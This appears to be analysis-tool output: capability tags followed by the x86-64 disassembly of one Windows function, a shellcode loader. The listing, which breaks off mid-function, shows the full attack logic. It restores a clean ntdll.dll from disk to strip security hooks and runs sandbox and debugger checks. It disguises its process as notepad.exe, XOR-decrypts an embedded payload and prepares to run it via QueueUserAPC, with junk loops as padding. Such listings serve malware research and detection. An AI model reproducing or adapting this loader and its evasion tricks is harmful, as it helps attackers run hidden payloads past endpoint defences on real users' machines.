Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8e8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x890], ecx
mov qword [rbp + 0x898], rdx
call fcn.140002a90
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
jne 0x14000152d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x140001b44
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x610]
mov rax, qword [rbp + 0x7d0]
mov r10, qword [rbp + 0x858]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x7c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c0], rax
mov ecx, 0x14f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x854], 0
jmp 0x140001628
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006660]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
movsd xmm1, qword [0x140006668]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x29d
jle 0x1400015da
mov dword [rbp + 0x854], 0
jmp 0x14000168f
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
movq xmm1, qword [0x140006670]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x29d
jle 0x140001640
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7a8], rax
movsd xmm0, qword [0x140006680]
movsd qword [rbp + 0x848], xmm0
movsd xmm0, qword [0x140006688]
movsd qword [rbp + 0x7a0], xmm0
jmp 0x140001756
movsd xmm0, qword [rbp + 0x7a0]
mov rax, qword [rbp + 0x848]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003b20
movq rax, xmm0
mov qword [rbp + 0x848], rax
movsd xmm0, qword [0x140006690]
comisd xmm0, xmmword [rbp + 0x848]
ja 0x14000172d
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x798], rax
mov qword [rbp + 0x838], 0
mov dword [rbp + 0x794], 0x39a
mov dword [rbp + 0x844], 1
jmp 0x1400017ad
mov eax, dword [rbp + 0x844]
cdqe
add qword [rbp + 0x838], rax
add dword [rbp + 0x844], 1
mov eax, dword [rbp + 0x844]
cmp eax, dword [rbp + 0x794]
jle 0x140001797
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov qword [rbp + 0x788], rax
mov word [rbp + 0x836], 0
jmp 0x140001b2c
mov rax, qword [rbp + 0x788]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x788]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x836]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b1b
mov dword [rbp + 0x5d8], 0
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, 0x2d6c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov ecx, 0x2d6c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov ecx, 0x2d6c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x768], rax
mov dword [rbp + 0x830], 0
jmp 0x14000199f
mov dword [rbp + 0x82c], 0
jmp 0x14000198b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x830]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x778]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x82c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x830]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x770]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x82c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x32
jle 0x1400018da
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x38
jle 0x1400018cb
mov dword [rbp + 0x830], 0
jmp 0x140001a58
mov dword [rbp + 0x82c], 0
jmp 0x140001a44
mov eax, dword [rbp + 0x830]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x778]
add rdx, rax
mov eax, dword [rbp + 0x82c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x830]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x770]
add rdx, rax
mov eax, dword [rbp + 0x82c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x830]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x768]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x82c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x32
jle 0x1400019c7
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x38
jle 0x1400019bb
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x768]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5d8]
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x836]
add eax, 1
mov word [rbp + 0x836], ax
mov rax, qword [rbp + 0x788]
movzx eax, word [rax + 6]
cmp word [rbp + 0x836], ax
jb 0x1400017e7
mov dword [rbp + 0x764], 0
mov ecx, 0x19d4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
mov ecx, 0x19d4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov ecx, 0x19d4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov dword [rbp + 0x828], 0
jmp 0x140001c5e
mov dword [rbp + 0x824], 0
jmp 0x140001c4a
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x828]
cdqe
imul rcx, rax, 0xe4
mov rax, qword [rbp + 0x758]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x824]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x828]
cdqe
imul rcx, rax, 0xe4
mov rax, qword [rbp + 0x750]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x824]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x38
jle 0x140001b9f
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x1c
jle 0x140001b90
mov dword [rbp + 0x828], 0
jmp 0x140001d17
mov dword [rbp + 0x824], 0
jmp 0x140001d03
mov eax, dword [rbp + 0x828]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x758]
add rdx, rax
mov eax, dword [rbp + 0x824]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x828]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x750]
add rdx, rax
mov eax, dword [rbp + 0x824]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x828]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x748]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x824]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x38
jle 0x140001c86
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x1c
jle 0x140001c7a
mov rax, qword [rbp + 0x758]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x748]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x820], 0x35c
jmp 0x140001d64
sub dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0
jg 0x140001d5d
mov dword [rbp + 0x5dc], 0
mov rax, qword [rbp + 0x7e0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x5dc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x740]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5e8]
add rax, 0x3c
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x738]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x734], 0x3ad
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
call rax
mov dword [rbp + 0x724], eax
mov eax, dword [rbp + 0x734]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x728]
call rax
mov dword [rbp + 0x720], eax
mov eax, dword [rbp + 0x720]
sub eax, dword [rbp + 0x724]
cmp eax, 0x37b
jbe 0x1400029c8
mov qword [rbp + 0x818], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
je 0x140001f16
mov rax, qword [rbp + 0x718]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x710]
mov r9d, 0x3000
mov r8d, 0x381
mov edx, 0
call rax
mov qword [rbp + 0x818], rax
cmp qword [rbp + 0x818], 0
je 0x1400029c8
lea rax, str.auzrsdkejinwsu.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
jne 0x1400029c8
mov dword [rbp + 0x704], 0x376
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
call rax
mov dword [rbp + 0x6ec], eax
mov eax, dword [rbp + 0x704]
mov r8, qword [rbp + 0x6f8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6f0]
call rax
mov dword [rbp + 0x6e8], eax
mov eax, dword [rbp + 0x6e8]
sub eax, dword [rbp + 0x6ec]
cmp eax, 0x344
jbe 0x1400029c8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6dc], eax
mov ecx, 0x3be
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6d8], eax
mov eax, dword [rbp + 0x6d8]
sub eax, dword [rbp + 0x6dc]
cmp eax, 0x38c
jbe 0x1400029c8
mov dword [rbp + 0x5d4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5d4]
mov r8, qword [rbp + 0x6d0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5d4]
cmp eax, 1
je 0x1400029c8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov ecx, 0
call rax
mov dword [rbp + 0x6c4], eax
cmp dword [rbp + 0x6c4], 0xffffffff
je 0x1400029c8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov ecx, 0
call rax
mov dword [rbp + 0x6b4], eax
cmp dword [rbp + 0x6b4], 0xffffffff
je 0x1400029c8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6a8], rax
cmp qword [rbp + 0x6a8], 0
je 0x1400021d9
mov rax, qword [rbp + 0x6a8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov ecx, 0
call rax
mov dword [rbp + 0x814], eax
cmp dword [rbp + 0x814], 0xffffffff
je 0x1400029c8
mov dword [rbp + 0x5d0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5d0]
mov r8, qword [rbp + 0x698]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5d0]
cmp eax, 1
je 0x1400029c8
lea rax, [rbp + 0xb0]
lea rdx, [0x140006148]
mov ecx, 0xa2
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7d8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x690]
mov r8d, 0
mov edx, 0x514
mov ecx, 0x40000
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
mov r9, qword [rbp + 0x688]
mov r8d, 0x514
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x678], rax
mov ecx, 0xf18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x810], 0
jmp 0x140002374
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x670]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x3c5
jle 0x140002327
mov dword [rbp + 0x810], 0
jmp 0x140002464
cmp dword [rbp + 0x810], 0
je 0x1400023d4
mov eax, dword [rbp + 0x810]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x810]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x1400023e0
add dword [rbp + 0x810], 1
jmp 0x140002464
mov eax, dword [rbp + 0x810]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x630], eax
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x670]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rdx, rax
mov eax, dword [rbp + 0x630]
mov dword [rdx], eax
sub dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x3c5
jle 0x14000238f
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x678]
mov r9, qword [rbp + 0x668]
mov r8d, 0x514
mov rcx, rax
call r9
mov dword [rbp + 0x80c], 0
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x804], 0
movabs rax, 0xda8aa91262b62001
movabs rdx, 0xa64d29bd73b9c5ef
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xf9b6ab14c0f84fce
movabs rdx, 0x1be0ca9cc285f8a6
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xa8defa293c8273b3
movabs rdx, 0x1a7ad6bdd92bb2dd
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov word [rbp + 0x30], 0xe8
movabs rax, 0x1878303d66b8705a
movabs rdx, 0x10db1207f09c5344
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xd577c532558ef269
movabs rdx, 0x8ac7a36a934aa29b
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xcc891d32855eef4a
movabs rdx, 0x6999b13c38146ff5
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x60a8e7d93179afef
movabs rdx, 0xd18e07dba135bf99
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xf22272386f3d477f
movabs rdx, 0x1c5c05a6c7ed2b27
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x2a082daf98b25fbd
movabs rdx, 0x23c41d7f0d8e719d
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xb897ecbd0c23c4
mov qword [rbp + 0x9e], rax
jmp 0x140002677
cmp dword [rbp + 0x808], 0x64
jne 0x140002641
mov eax, dword [rbp + 0x80c]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x808]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x80c]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x808], 0
jmp 0x140002670
mov eax, dword [rbp + 0x80c]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x808]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x80c]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x808], 1
add dword [rbp + 0x80c], 1
mov eax, dword [rbp + 0x80c]
cmp eax, 0x30
jbe 0x140002604
mov dword [rbp + 0x80c], 0
jmp 0x140002800
cmp dword [rbp + 0x804], 0x30
jne 0x1400027b4
mov dword [rbp + 0x7fc], 1
jmp 0x14000275a
mov dword [rbp + 0x800], 0
mov eax, dword [rbp + 0x7fc]
mov dword [rbp + 0x7f8], eax
jmp 0x140002730
mov edx, dword [rbp + 0x7f8]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x634], edx
mov eax, dword [rbp + 0x634]
imul eax, eax
imul eax, dword [rbp + 0x634]
add dword [rbp + 0x800], eax
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x7f8], eax
cmp dword [rbp + 0x7f8], 0
jne 0x1400026c5
mov eax, dword [rbp + 0x800]
cmp eax, dword [rbp + 0x7fc]
jne 0x140002753
mov eax, dword [rbp + 0x7fc]
mov dword [rbp + 0x638], eax
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x2d0
jle 0x1400026ad
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, qword [rbp + 0x678]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x804]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, qword [rbp + 0x678]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x804], 0
jmp 0x1400027f9
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, qword [rbp + 0x678]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x804]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, qword [rbp + 0x678]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x804], 1
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x513
jle 0x140002691
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x7f4], 0
mov dword [rbp + 0x7f0], 1
mov dword [rbp + 0x7ec], 0
mov dword [rbp + 0x654], 0x199
jmp 0x14000289c
mov edx, dword [rbp + 0x7f4]
mov eax, dword [rbp + 0x7f0]
add eax, edx
mov dword [rbp + 0x63c], eax
add dword [rbp + 0x7ec], 1
mov eax, dword [rbp + 0x7f0]
mov dword [rbp + 0x7f4], eax
mov eax, dword [rbp + 0x63c]
mov dword [rbp + 0x7f0], eax
mov eax, dword [rbp + 0x7ec]
cmp eax, dword [rbp + 0x654]
jl 0x140002869
mov rax, qword [rbp + 0x7d8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x7e8], 0xffffffff
mov ecx, 0x4c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
add dword [rbp + 0x7e8], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006660]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x640]
add rax, rdx
